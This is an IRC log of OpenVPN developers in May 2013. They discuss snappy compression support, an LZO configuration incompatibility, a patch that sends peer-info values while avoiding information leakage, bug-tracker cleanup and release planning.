immediately reconnect again. If you wake the device after this has happened, packets will be dropped as well :) 06:53 < kisom> I assume it's the same bug, but I have no clue why OpenVPN would reconnect right after it disconnected. 06:56 < kisom> Nvm those last two rows, I'm unable to reproduce that error in the new version 06:57 <@mattock> cron2: what version of snappy does openvpn require? 06:58 <@mattock> centos 6 buildslave has 1.0.5 in repos 06:58 <@cron2> mattock: I think that's most recent. I have used 1.0.4 and 1.0.5 on my machines 06:59 <@cron2> ah, no, 1.0.4 and 1.1.0, so it really shouldn't matter - no idea what changed in 1.1.0 07:00 <@mattock> both 1.0.4 and 1.0.5 seemed to work 07:02 <@mattock> ah, Ubuntu 10.04 (desktop) is end of life 07:02 <@mattock> but then again, "server" will EOL in April 2015 07:02 <@mattock> so I guess we can/should support it 07:13 < kisom> cron2: Bug report filed, https://forums.openvpn.net/topic12937.html 07:14 <@vpnHelper> Title: OpenVPN Support Forum TCP support is broken in iOS app : OpenVPN Connect (iOS) (at forums.openvpn.net) 07:17 <@mattock> cron2: all of my buildslaves now have snappy support 07:18 <@cron2> mattock: cool :-) - tried recompiling already? 07:18 <@mattock> manually 07:18 <@mattock> fedora 16 is now building through buildbot, though 07:18 <@cron2> on a different tangent - does one of you know this "viscosity" openvpn client? how does it work inside, does it ship an openvpn binary, or is it a really alternative implementation? 07:18 <@mattock> I'll trigger a few other builds to make sure all is ok 07:19 <@mattock> I know Viscosity... I think it ships a binary 07:19 <@mattock> not sure if the binary has any modifications to stock OpenVPN 07:19 <@mattock> shouldn't have 07:19 <@cron2> you could trigger a full-rebuild, to ensure that all of mine will now go to green, too (only tried some of them) 07:19 <@mattock> ok 07:19 <@cron2> the viscosity web page doesn't mention anything, and I'm wondering about the GPL aspect... 07:20 <@mattock> hmm, yes 07:20 <@mattock> viscosity has been around a long time... I'll put this to my "possible GPL violation" checklist 07:21 <@mattock> I heard that "seed.st" may be violating the GPL also 07:21 <@mattock> haven't had time to dig into it 07:21 <@cron2> well, if they ship with an appropriate notice, and actually send the sources on request, that would be fine. I was just wondering 07:22 <@mattock> yep 07:22 <@mattock> on my TODO ... so I'll verify that 07:24 <@mattock> btw... do we want a meeting this week? 07:26 <@mattock> a full rebuild triggered 07:26 <@mattock> green so far 07:32 <@d12fk> anyone keen for a lzo story of mine 07:32 <@cron2> shoot :) 07:33 <@d12fk> no comp-lzo directive on the client and "comp-lzo no" on the (multi) server are currently incompatible 07:33 <@d12fk> thinking about implementing a server fallback on a per client basis based on the occ info 07:33 <@d12fk> an i crazy? 07:33 <@cron2> push comp-lzo no 07:33 <@d12fk> doesn't do it 07:34 <@cron2> oh? 07:34 <@d12fk> because it's checked: lzo_defined (&c->c2.lzo_compwork) 07:34 <@d12fk> that's untrue for clients with no comp-lzo in their config 07:34 <@cron2> ah, dang 07:35 <@cron2> IIRC with the new crypto framework, the crypto stuff is always initialized "far enough" so you can do that 07:35 <@d12fk> somehow it magically works after the resulting ping timeout, but these 4 minutes are too much 07:36 <@d12fk> on the server side it would actually require on byte less in the frame, so there should be no overrrun prolems 07:38 <@cron2> d12fk: yes, the relevant diff is this: 07:38 <@cron2> - if (lzo_defined (&c->c2.lzo_compwork)) 07:38 <@cron2> - { 07:38 <@cron2> - msg (D_PUSH, "OPTIONS IMPORT: LZO parms modified"); 07:38 <@cron2> - lzo_modify_flags (&c->c2.lzo_compwork, c->options.lzo); 07:38 <@cron2> - } 07:38 <@cron2> + msg (D_PUSH, "OPTIONS IMPORT: compression parms modified"); 07:38 <@cron2> + comp_uninit (c->c2.comp_context); 07:38 <@cron2> + c->c2.comp_context = comp_init (&c->options.comp); 07:38 <@d12fk> that will fix the client, but since the clients are deployed it is not really an option 07:38 <@cron2> so with current git, you can push whatever compress options you want, no matter what is currently there 07:38 <@cron2> true 07:39 <@cron2> how do currently-deployed clients get their (incompatible) profile? 07:39 <@d12fk> if the client has "comp-lzo no" you can push "comp-lzo yes" 07:39 <@cron2> yeah 07:40 <@d12fk> they downloaded it from user portal or have been manually configured by admin is they have no right to write program files 07:40 <@cron2> if they downloaded it from user portal, why does it have wrong setting in them? 07:40 <@cron2> setup of firewall changed in between? 07:41 <@d12fk> because in previous versions we just left comp-lzo out if compression was disabled 07:41 <@cron2> ah, now I understand 07:41 <@cron2> what version are you hacking on? git master, 2.3.x? 07:41 <@d12fk> yes 07:41 <@d12fk> the latter 07:43 <@d12fk> so, since you're not instantly disgusted i'll hack up something and show it iff it works 07:43 <@cron2> mmmh. You really want the new compression framework... snappy is supposedly much better for battery-constrained devices, and hacking on the compression stuff in 2.3.x will mean "more work" in the long run... 07:43 <@d12fk> i'll make it master compatible 07:44 <@d12fk> is there a "framework" in master? 07:44 <@cron2> now *that* I want to see :-) - but otherwise, basing this on occ info is hackish indeed, but might be the only way if you can't push (... which you only know if the client is new enough to always push IV_ stuff) 07:45 <@cron2> d12fk: well, sort of a framework with snappy and lzo abstracted underneath 07:46 <@d12fk> similar to the ssl lib in 2.3? 07:46 <@cron2> sort of, see the patch above for an idea how the changes look like 07:47 <@d12fk> got it 07:49 <@cron2> committed to git master last sunday :-) - which is what broke all the buildbots, as it now wants to link libsnappy 07:50 <@d12fk> i'll test the idea with 2.3 and port tomaster if acceptable 07:50 <@d12fk> otherwise it will stay in our branch only 07:51 <@d12fk> be back with patch 07:51 <@cron2> looking forward to see the patch to get an idea how intrusive it is :-) 09:03 <@cron2> mattock: when do you have time to release 2.3.2? 09:03 <@cron2> I think all important bugfixes are in... 09:05 <@mattock> cron2: is it tagged? 09:05 <@cron2> no 09:06 <@mattock> I'd probably have time on first days of June at latest 09:06 <@cron2> basically I want to get a bit of feedback first to see whether anything is missing` 09:06 <@ecrist> cron2: I saw your message 09:06 <@mattock> if I'm lucky, I could squeeze the release out late this week/early next week 09:06 <@ecrist> what is snappy? 09:07 <@mattock> i.e. if people at openvpntech are not teasing me too much with various requests :D 09:07 <@mattock> ecrist: a compression library 09:07 <@mattock> like lzo 09:07 <@cron2> ecrist: new compression library, coming from google, claimed to compress as good or better than lzo but having much lower CPU usage 09:07 <@ecrist> so, it's the new default? 09:07 <@cron2> archivers/snappy 09:07 <@ecrist> can openvpn be compiled with both? 09:07 <@cron2> default is "both", there's --disable-snappy, --disable-lzo 09:08 <@ecrist> good 09:08 <@ecrist> I'll try to update the port today 09:09 <@cron2> take your time, don't rush this :-) 09:21 <@ecrist> if I don't do it now, I'll forget 09:21 <@ecrist> :) 09:34 * cron2 wonders whether we should have a variant of the "always push peer-info" patch in 2.3.2 09:35 <@cron2> mattock: can you put that onto the agenda? 09:35 <@cron2> where's dazo and plaisthos anyway? 09:36 <@mattock> cron2: I take that as a "yes, let's have a meeting this week" 09:36 <@mattock> :P 09:36 <@cron2> mattock: I'm still waiting for a definite answer on "will I have to travel to Abu Dhabi tomorrow or not" :-) - currently I'm assuming "not" and there's stuff to work on, like 2.3.2 release 09:38 <@mattock> do we have a list of unreviewed patches somewhere? 09:41 <@cron2> I think it's basically the "svn merger" and "dual-stack patches" (those have not been posted yet), so it's "the svn merger and d12fk's lzo hack" 09:42 <@mattock> ok 09:42 <@cron2> there's the pkcs12-additional-ca patch (May 18) 09:43 <@cron2> trac #29 09:43 <@cron2> and "new build variants for buildbot" 09:43 * cron2 was busy over the weekend and has found lots of slightly smelly things in his mailbox 09:48 <@mattock> I got tons of things (work and otherwise) that I have to balance between 09:48 <@mattock> so busybusybusy 09:48 <@cron2> there's also "windows with snappy" :-) - maybe d12fk can help with that? 09:48 <@mattock> yep, that one, the static building thing 09:49 <@ecrist> cron2: I've pushed the update for the openvpn-devel port. waiting for a committer to approve 09:49 <@d12fk> currently it looks very bad with leftover time for stuff 09:50 <@d12fk> stuck in a timecomsuming rlease 09:52 <@cron2> basic thing is just to make gcc link "what is needed from libstdc++.dll" statically, to avoid having to ship the whole 8MB thing (snappy is c++) 09:53 <@d12fk> what key_method_1 vs. _2? 09:53 <@d12fk> is it static vs. DH? 09:54 <@d12fk> diving deeper into ssl.c for the first time =) 09:54 <@cron2> no idea, tbh... "username + password + ppi" happens in _2 09:54 <@d12fk> will try man 8 09:55 <@cron2> I already suggested -static-libstdc++ (or what's it called) but mattock couldn't make it work and nobody had time either, so this is somewhat moot right now... 09:55 <@d12fk> well documented with --key-method 09:56 * cron2 looks and is amazed 09:56 <@mattock> the difficulty is integrating static building with openvpn-build... it takes some time 11:53 <+pekster> Is there some guideline to tickets that appear to be user-error with a follow-up response but no further user input? eg: https://community.openvpn.net/openvpn/ticket/265 . Can these just be marked closed after some number of weeks to star cleaning up the tracker? 11:53 <@vpnHelper> Title: #265 (p-t-p address assigned as client ip) – OpenVPN Community (at community.openvpn.net) 12:27 * ecrist looks 12:28 <@ecrist> pekster: I think 4 weeks after your response and no reply is sufficient 12:28 <@ecrist> add another comment, such as, closing ticket due to lack of response from submitter, or similar 12:29 <+pekster> That's what I figured, but didn't know if there was some prior discussion/decision. I'll apply the "common sense" rule moving forward :) 12:29 <@ecrist> yeah, that's safe 12:29 <@ecrist> we've sort of operated on a, "don't make rules until they're needed" mantra 12:30 <+pekster> Folks can always re-open it, but I didn't want to step on toes. That said, there's some obvious crap in the tracker that probably just needs a reply+wait+close to clean them up 12:30 <@ecrist> __ 12:30 <@ecrist> ++, rather 14:09 <@cron2> the openvpn test server is now running "master" with snappy, and the -112-mask test pushes snappy config 14:29 <@cron2> Test sets succeded: 1 1a 2 2a 2b 3 4 4a 5. 14:29 <@cron2> Test sets failed: none. 14:29 <@cron2> yay 14:35 -!- mattock is now known as mattock_afk 19:45 -!- raidz is now known as raidz_away 20:31 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Quit: kernel upgrade] 20:33 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 20:33 -!- mode/#openvpn-devel [+v pekster] by ChanServ 23:49 <+pekster> Who's in charge of the openvpn.net/index.php/open-source/ stuff? The OpenVPN GUI page is seriously lacking as it explains basically nothing, then links to the sf.net page or a giant list of several dozen GUIs. If we can just update that to a link on the community wiki that non-corp folks can edit, that would allow it to get fixed (I'll even add/prepare that page on the wiki side) --- Day changed Wed May 22 2013 03:01 * cron2 points at mattock "he's da guy from da company" 05:01 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 252 seconds] 05:01 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 05:01 -!- mode/#openvpn-devel [+o andj] by ChanServ 06:30 -!- mattock_afk is now known as mattock 06:30 <@mattock> pekster: hmm, lemme check 07:14 <@ecrist> cron2: the openvpn-devel port update was comitted last night 07:14 <@ecrist> I like pekster's idea 07:15 <@mattock> I'm not able to access openvpn.net atm 07:15 <@mattock> not sure why 07:16 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 07:16 -!- mode/#openvpn-devel [+o dazo] by ChanServ 07:18 <@cron2> ecrist: cool 07:30 <@mattock> pekster, ecrist: I agree with OpenVPN GUI page plan... I've been slowly moving stuff away from openvpn.net to the Wiki anyways 07:30 <@mattock> it's on my TODO now, won't have time to fix it right now 07:57 <@mattock> I setup an agenda for tomorrow, should we want to have a meeting: https://community.openvpn.net/openvpn/wiki/Topics-2013-05-23 07:57 <@vpnHelper> Title: Topics-2013-05-23 – OpenVPN Community (at community.openvpn.net) 07:57 <@mattock> I assume some of the listed patches have been rejected/replaced with something else 07:57 * cron2 wants a meeting but dazo and plaisthos are hiding, so it's not overly useful :-) 07:57 <@mattock> dazo, plaisthos: where are you? 07:57 <@mattock> :P 07:58 <@mattock> btw. 07:58 <@mattock> https://community.openvpn.net/openvpn/wiki/OpenVPN2013-week-19-summary 07:58 <@vpnHelper> Title: OpenVPN2013-week-19-summary – OpenVPN Community (at community.openvpn.net) 07:58 <@mattock> https://community.openvpn.net/openvpn/wiki/OpenVPN2013-week-20-summary 07:58 <@vpnHelper> Title: OpenVPN2013-week-20-summary – OpenVPN Community (at community.openvpn.net) 07:58 <@cron2> mattock: 4/5 has a v3 now 07:58 <@mattock> quite a few new bugs on week 20 07:58 <@mattock> I'm wondering if the meetings should also be used to review (new) bug reports 07:58 <@mattock> in a semi-timely manner 07:59 <@cron2> +1 07:59 <@mattock> even s.c. "non-developers" could chime in more easily 08:04 <@ecrist> s.c.? 08:04 <@cron2> so called 08:14 < oh7lzb> mattock: Hmm, my patch did not get on the agenda? 08:15 < oh7lzb> The --ca + pkcs12 certs patch. 08:15 <@mattock> oh7lzb: I can put it there, sure 08:15 <@mattock> the agenda was just a quick copy-and-paste from last meeting's agenda, with already applied patches removed 08:15 <@mattock> i.e. not ready 08:16 <@ecrist> oh7lzb: note the agenda is on the wiki, which can be edited by registered users, iirc 08:17 <@ecrist> yeah, any authenticated user can edit the wiki 08:17 <@mattock> yes, the idea being that people can add their own topics 08:17 <@mattock> in practice, people seldom do 08:18 <@mattock> ecrist: what do you think about reviewing bugs in the meetings? 08:18 <@mattock> would you have time to take part in that kind of thing? 08:18 <@ecrist> I'm not opposed. Pekster has been working to clear out some stale reports 08:19 <@mattock> yeah, I was reviewing the reports too when I had more time 08:19 <@mattock> got 1/3 through and other things started popping up 08:19 <@ecrist> I do it in spurts, as well. 08:20 <@mattock> the nice thing about reviewing bug reports is that you can do it with a selfphone when you got some spare time 08:20 <@mattock> does not require that you have 4 hours at your disposal 08:21 <@mattock> it looks like I'll have to minimize the amount of work I do until 14th June... got tons of exams and such before that 08:21 <@mattock> so don't be surprised if I'm a bit absent for the next 3 weeks :P 08:22 <@d12fk> are you studying besides your dayjob? 08:27 < oh7lzb> mattock: Ok, I put it in there myself now. I won't be able to attend the meeting tomorrow, though. 08:53 <+pekster> Given some interest, I'll set up some improved GUI page on the wiki. When it's ready, the intent is for links from the howto or elsewhere on the openvpn.net to link there. In the future if it's desired to move them I'm not opposed. Let's get proper information there first, though :) 10:19 -!- raidz_away is now known as raidz 14:35 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 14:37 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 14:37 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 14:38 -!- riddle [riddle@us.yunix.net] has quit [Disconnected by services] 14:38 -!- pekster_ [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 14:38 -!- mode/#openvpn-devel [+v pekster_] by ChanServ 14:38 -!- riddle [riddle@76.72.170.57] has joined #openvpn-devel 14:40 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 14:40 -!- mode/#openvpn-devel [+o plai] by ChanServ 14:41 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:41 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 14:41 -!- mattock_ is now known as mattock_afk 14:41 -!- MeanderingCode_ [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 14:42 -!- Netsplit *.net <-> *.split quits: @mattock, +pekster, @raidz, @plaisthos, MeanderingCode, waldner 14:42 -!- mattock_afk is now known as mattock 14:42 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 14:42 -!- mode/#openvpn-devel [+o raidz] by ChanServ 14:43 -!- MeanderingCode_ is now known as MeanderingCode 14:44 -!- pekster_ is now known as pekster 14:47 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Quit: Off the grid] 15:40 -!- dazo is now known as dazo_afk 15:52 -!- raidz is now known as DewlanceTM 15:52 -!- DewlanceTM is now known as Dewlance 15:53 -!- Dewlance is now known as raidz 15:55 -!- raidz is now known as DEWLANCEISSCAM 15:55 -!- DEWLANCEISSCAM is now known as DEWLANCEISDISHON 15:55 -!- DEWLANCEISDISHON is now known as raidz 15:57 -!- raidz is now known as DEWLANCEISCAM 15:57 -!- novaflash is now known as dewIance 15:58 -!- dewIance is now known as novaflash 15:58 -!- DEWLANCEISCAM is now known as DewIance 16:00 -!- DewIance is now known as Dewlance 16:00 -!- Dewlance [~raidz@openvpn/corp/admin/andrew] has quit [Disconnected by services] 16:01 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 16:01 -!- mode/#openvpn-devel [+o raidz] by ChanServ 18:08 -!- raidz is now known as raidz_away 18:09 -!- raidz_away is now known as raidz 19:48 -!- raidz is now known as raidz_away --- Day changed Thu May 23 2013 01:43 <@cron2> *yawn* 02:50 -!- plai [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 260 seconds] 02:50 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 02:50 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 03:46 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 03:47 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 03:47 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:49 -!- dazo_afk is now known as dazo 08:06 <@mattock> wondering if there will be enough people to arrange a meeting... 08:10 <@mattock> I wonder if we should somehow hide the security mailing list address better... confused people seem to send all type of stupid requests there 08:10 <@mattock> password reset requests, help requests, etc. 08:37 <@cron2> dazo's irc client claims he's around 08:37 <@cron2> 11:49 -!- dazo_afk is now known as dazo 09:05 <@ecrist> mattock: I'm not getting copies of messages to the security list... 09:05 <@ecrist> shouldn't I be on the list? 09:08 <@mattock> ecrist: you're not yet, I can add you to the list though 09:09 <@ecrist> :\ thanks 09:39 < syzzer> I'll be around this for the meeting this evening, if there is one ;) 09:44 <@mattock> ok, excellent! 10:00 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 10:02 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 10:02 -!- mode/#openvpn-devel [+o dazo] by ChanServ 10:06 -!- raidz_away is now known as raidz 10:26 <@mattock> community vpn going down for a sec, removing some stale route pushes 10:49 -!- dazo is now known as dazo_afk 11:26 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 12:04 -!- mattock is now known as mattock_afk 12:08 -!- mattock_afk is now known as mattock 13:05 < syzzer> still very quiet here... 13:06 <@mattock> yep 13:07 <@mattock> it seems there are not too many devs present 13:39 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving] 13:40 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 14:12 -!- novaflash is now known as novaflash_away 14:14 -!- novaflash_away is now known as novaflash 14:56 -!- mattock is now known as mattock_afk 20:00 -!- raidz is now known as raidz_away --- Day changed Fri May 24 2013 01:42 -!- mattock_afk is now known as mattock 04:16 <@cron2> argh 04:17 <@cron2> for whatever reason, according to "git blame", jjk and Alon changed the permission check for "explicit-exit-notify" in early 2012... cc8dd144 and 76809cae 04:19 <@mattock> hmm 04:19 <@cron2> 76809cae is the one 04:23 <@cron2> Alon just fixed the comment style, so it wasn't his doing 04:23 <@cron2> (git blame is sooooo cool) 06:06 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 06:06 -!- mode/#openvpn-devel [+v janjust] by ChanServ 07:50 <+janjust> Yo cron2 07:59 <+janjust> the patch for the explicit-exit-notify bug is in the openvpn-devel mailing list 07:59 <@cron2> now that was fast :) 08:00 <+janjust> stupid one-liner ;) 08:02 <+janjust> who's the maintainer of the openvpn 2.3.x rpms on EPEL 08:02 <+janjust> the 2.3.x rpms are missing the auth-pam.so file 08:03 * cron2 would direct everything related to "RedHat" to dazo, but he's hiding 08:03 <@mattock> janjust: not me, but the spec files should say it 08:03 <@mattock> in the srpm I suppose 08:03 <+janjust> it's in the spec file mattock , I suspect it's a build issue 08:03 <+janjust> if the buildbot does not have 'pam-devel' installed it might exclude auth-pam support 08:04 <@mattock> yes, but the EPEL packages are entirely separate 08:04 <+janjust> I'll grab the RHEL6 source rpm 08:29 <+janjust> ok: their 'make install' step is failing... I'll notify the maintainer 08:44 <+janjust> dontcha just love open source software: a fix for the epel rpm is already underwy 08:59 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 09:23 <@ecrist> mroning, folks 10:25 -!- raidz_away is now known as raidz 12:43 <@vpnHelper> RSS Update - testtrac: make 'explicit-exit-notify' pullable again <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=49f714942d5afd5f274aea52c790c896babc8c05> 13:54 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 13:56 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 13:56 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 13:57 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Client Quit] 13:57 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 13:58 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 13:59 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Client Quit] 14:00 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 14:00 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 14:06 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: I'm a quitter!] 14:09 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 14:09 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 14:10 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Client Quit] 14:11 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 14:11 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 14:42 -!- mattock is now known as mattock_afk 19:16 -!- raidz is now known as raidz_away --- Day changed Sat May 25 2013 03:38 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 03:44 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 03:44 -!- mode/#openvpn-devel [+o andj] by ChanServ 06:22 <@cron2> hi andj, welcome back 11:44 -!- novaflash is now known as novaflash_away 11:45 -!- novaflash_away is now known as novaflash --- Day changed Sun May 26 2013 02:45 <@andj> cron2: thnaks :) 02:45 <@andj> thanks even 06:19 -!- novaflash is now known as novaflash_away 07:04 -!- novaflash_away is now known as novaflash 09:45 -!- waldner_ [waldner@openvpn/user/waldner] has joined #openvpn-devel 09:47 -!- waldner_ is now known as waldner 12:48 -!- novaflash is now known as novaflash_away 13:05 -!- novaflash_away is now known as novaflash 14:56 <@plaisthos> mattock_afk, cron2: I am back from a one week vacation :) 15:21 <@cron2> plaisthos: welcome back :-) - I have new patches for you to review 15:52 <@plaisthos> cron2: yeah I got more stupid users :) 15:54 <@plaisthos> I implemented a VPN off/pause feature when the screen is off to save energy (send usr1 put vpn on hold, no internet connection stuff) 15:54 <@plaisthos> And I got this mail about the feature "I've tried it, but now, when the screen is off and the vpn paused, I can't receive email, push notifications and so on...is there a way to continue to receive the notifications anyway?" 18:28 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 18:41 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel --- Day changed Mon May 27 2013 01:30 -!- mattock_afk is now known as mattock 01:31 <@mattock> plaisthos: welcome back! 02:07 <@cron2> plaisthos: hah, fun 02:07 <@cron2> mattock: mornin' :-) - do you have time for 2.3.2 this week? 02:12 <@mattock> cron2: I think so 02:12 <@mattock> maybe on Friday? 02:12 <@mattock> is everything set for release now? 02:13 <@cron2> I haven't tagged anything, and I actually like to get the "always send some peer-info" patch into 2.3, waiting for an ACK on the v3 of that 02:13 <@mattock> ok 02:13 <@mattock> is plaisthos the guy to ACK it, or who? 02:14 <@mattock> I can try to get an ACK from James if necessary 02:14 <@cron2> plaisthos reviewed v1, so he's the one qualified best :-) - I sent it to James a week ago ("review if you have time"), haven't heard back :-) 02:14 <@mattock> ah, that's fairly typical :P 02:15 <@cron2> since plaisthos is back now, I'm optimistic :) 02:46 <@plaisthos> cron2: which patch? 02:47 <@cron2> [PATCH 4/5 v3] Always push basic set of peer info values to server. 02:47 <@plaisthos> thanks 02:47 <@cron2> sent last Monday 02:48 <@cron2> the original patch (which you acked) had unintended consequences, leaking info from server to client - discussed that with James (because it's his original code) and he agreed that from the server side, peer-info should only be sent if --push-peer-info is explicitely set 02:48 <@cron2> so the patch now distinguishes between "send nothing", "send basic set" (if pull), "send all" (if push-peer-info) 02:50 <@plaisthos> cron2: v1 of the patch always pushed UV_ variables if they exist, right? 02:51 <@cron2> plaisthos: I don't think so 02:51 <@cron2> let me check again 02:52 <@plaisthos> cron2: I can check it too 02:53 <@plaisthos> cron2: nah it didn't it is only difficult to read the diff 02:53 <@cron2> no, the old patch only "always-sends" IV_PLAT, IV_VER and the compressions bits 02:53 <@cron2> https://community.openvpn.net/openvpn/attachment/ticket/268/0004-Always-push-basic-set-of-peer-info-values-to-server.patch 02:53 <@vpnHelper> Title: 0004-Always-push-basic-set-of-peer-info-values-to-server.patch on Ticket #268 – Attachment – OpenVPN Community (at community.openvpn.net) 02:55 <@plaisthos> cron2: I think the v3 patch is good but 02:56 <@plaisthos> since the client reports in the basic set its version I would like to report the UI version as well 02:56 <@cron2> and that's an UV_ variable? 02:56 <@plaisthos> setting UV_ICSOPENVPN_VERSION and push-peer-info 2 works but also leaks the MAC address of the gateway 02:59 <@cron2> mmmh. I don't think we want to export all UV_ variables by default, but I can see that this is a useful feature. I'm a bit unsure how to make this into nice code. 03:00 <@plaisthos> I can understand that unconditinally pushing UV_ variables is not a good idea because a user might have UV_ defined 03:01 <@plaisthos> cron2: maybe add a level 2 that is 1+UV and a level 3 which is equivalent to current level 2? 03:01 <@plaisthos> I could then set push-peer-info 2 when pull is defined 03:02 <@cron2> I don't really want to introduce an argument to push-peer-info... it's a bool right now 03:03 <@plaisthos> cron2: hm okay 03:03 <@plaisthos> add OPENVPN_USER_VARIABLE_XXX that are handled like UV? 03:04 <@cron2> we could put an #ifdef ANDROID in there that will walk the environment and send UV_ICSOPENVPN_VERSION only... 03:04 <@plaisthos> that is unique enough that we don't send variables by accident 03:04 <@cron2> or agree on something more generic, like "IV_GUI_VERSION" which would then always be sent, to be filled in by whatever gui is running (Tunnelblick, Windows, Android) 03:05 <@cron2> (specifically IV_ not UV_) 03:05 <@plaisthos> cron2: IV_GUI_VERSION sounds good 03:07 <@plaisthos> cron2: I ack'ed your patch 03:07 <@cron2> ok, let's do that. I'd prefer for this to be a separate patch, so *this* is "SVN r8225 forward-port to git, bugfixed for information leakage from server", while the new one is "add a feature for guis" 03:07 <@plaisthos> When I have time I will post a patch with IV_OPENVPN_GUI_VERSION 03:07 <@plaisthos> (or similar 03:07 <@cron2> well, exactly :-) - thanks. Will merge tonight. 03:08 <@cron2> and whoever has time first does IV_*VERSION 04:50 <@vpnHelper> RSS Update - tickets: #296: openvpn packages for Debian Wheezy <https://community.openvpn.net/openvpn/ticket/296> 06:50 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 06:50 <@cron2> huh 06:50 * cron2 pushes patches and plaisthos falls off the 'net... should I be scared now? 06:51 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 06:51 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 06:52 <@vpnHelper> RSS Update - testtrac: Make push-peer-info visible in "normal" per-instance environment. <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=a8be73799be163909a3b212656dedf03494f0792> || Always push basic set of peer info values to server. <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=598e03f0e7bce434e501a9895819f2af0714d5f6> 07:08 <@plaisthos> cron2: looking again at the code and at !strncmp(e->string, "UV_", 3) 07:08 <@plaisthos> cron2: ignore me 07:08 * cron2 ignores plaisthos 07:08 <@cron2> anything else I can do for you? 07:09 <@plaisthos> strncpy as prefix matching has confused me numerous times :/ 07:09 <@plaisthos> s/cpy/cmp/ 07:09 * cron2 dislikes the !str*cmp() notation, as I always have to think twice - so I use "str*cmp() == 0" to make obvious "this tests for equal" 07:11 <@plaisthos> identation as mixed tab+spaces or pure spaces? 07:23 <@cron2> vi creates tab+spaces, dazo prefers "pure spaces", so use whatever you want, as long as it's not "tab=4" :) 07:24 <@cron2> (existing code has tab+spaces in most places, with tab=8) 07:28 <@plaisthos> I have sent a IV_OPENVPN_GUI_VERSION patch 07:33 <@cron2> meh, that multi.h bit slipped through 07:34 <@plaisthos> cron2: yeah :/ 07:39 * cron2 is not convinced of the beauty of this patch yet... (the alternative is "a second loop over the es->list just checking for IV_OPENVPN_GUI_VERSION - but that's not pretty either) 07:40 <@cron2> functionally it should be fine 07:41 < waldner> "NOTE: OpenVPN 2.1 requires '--script-security 2' or higher to call user-defined scripts or executables" <--- this hasn't changed in 2.2 or 2.3 07:41 < waldner> should it say "OpenVPN 2.3 etc." ? 07:42 <@cron2> this warning is eating developer time like crazy :-) 07:47 < waldner> I'm having a really weird issue whereas a --ping-restart inactivity is triggered on the client because the client stops receiving pings from the server, however the server thinks it's sending them, although they don't show up in tcpdump 07:47 < waldner> has anyone seen this before? 07:47 <@cron2> what client platform? 07:47 < waldner> latest 2.3, both on client and server 07:47 <@cron2> oh, you can't see them in tcpdump? that's a different bug then 07:48 < waldner> the server says "SENT PING" in the log, UDP write and all that 07:48 < waldner> but tcpdump shows no packet! 07:48 < waldner> and this is on two different server boxes 07:48 <@cron2> is it easily reproduceable? 07:48 < waldner> until 9am this morning it was working fine 07:49 < waldner> right now, it is reproducible, yes 07:49 < waldner> I'm doing some tests 